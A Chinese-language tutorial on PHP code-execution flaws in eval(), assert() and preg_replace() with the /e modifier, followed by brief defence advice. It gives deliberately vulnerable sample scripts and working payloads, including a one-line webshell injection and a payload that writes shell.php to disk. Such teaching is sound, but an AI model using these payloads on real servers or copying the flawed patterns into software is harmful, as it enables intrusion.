一、代码执行漏洞:
1、漏洞简述:
当应用在调用一些字符串转化为代码的函数时,没有考虑用户是否能控制这个字符串,将造成代码执行漏洞。
2、代码执行常见函数:
(1)PHP:
1、eval():把一些字符串当作代码来执行
2、assert():执行一些函数
3、preg_replace()
(2)JAVA:
没有类似的函数,但是一些引擎可以达成相同的效果
二、实例:
1、对于 assert() 函数:
(1)实例源码:
<?php
function funtest1(){
echo '这是一个页面';
}
$_GET['a']($_GET['b']);
?>
(2)payload:
?a=assert&b=phpinfo()
2、对于 eval() 函数:
(1)实例源码:
<?php
if(isset($_GET['cc'])){
@eval($_GET['cc']);
}else{
echo "请传入参数!";
}
?>
(2)payload:
?cc=echo chunchun;
?cc=phpinfo();
?cc=@eval($_POST['cmd']);
有时候需要先执行正确的语句,这时候应该设置为:
?cc=echo 1;@eval($_POST['cmd']);
?cc=fputs(fopen("shell.php","a"),"<?php phpinfo();?>");
3、对于 preg_replace() 函数:
实例1:
(1)源码:
<?php
function complexStrtolower($regex, $value)
{
return preg_replace('/(' . $regex . ')/ie', 'strtolower("\\1")', $value);
}
foreach ($_GET as $regex => $value) {
complexStrtolower($regex, $value);
}
?>
(2)payload:
?\S*={${phpinfo()}}
实例2:
(1)源码:
<?php
$value = $_GET['cc'];
preg_replace('/(\S*)/ie', "\\1", $value);
?>
(2)payload:
?cc=phpinfo()
实例3:
(1)源码:
<?php
$data = $_GET['data'];
preg_replace('/<data>(.*)<\/data>/e','$ret = "\\1";',$data);
?>
(2)payload:
?data=<data>{${phpinfo()}}</data>
三、漏洞防御:
1、使用 json 保存数组;
2、对于必须使用 eval 的地方,一定严格处理用户数据(白名单、黑名单);
3、字符串使用单引号包括可控代码,插入前使用 addslashes 转义(addslashes、魔术引号、 htmlspecialchars、 htmlentities、mysql_real_escape_string) ;
4、放弃使用 preg_replace 的 e 修饰符,使用 preg_replace_callback()替换;文章来源:https://www.toymoban.com/news/detail-717078.html
5、若必须使用 preg_replace 的 e 修饰符,则必用单引号包裹正则匹配出的对象;文章来源地址https://www.toymoban.com/news/detail-717078.html
到了这里,关于代码执行漏洞的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!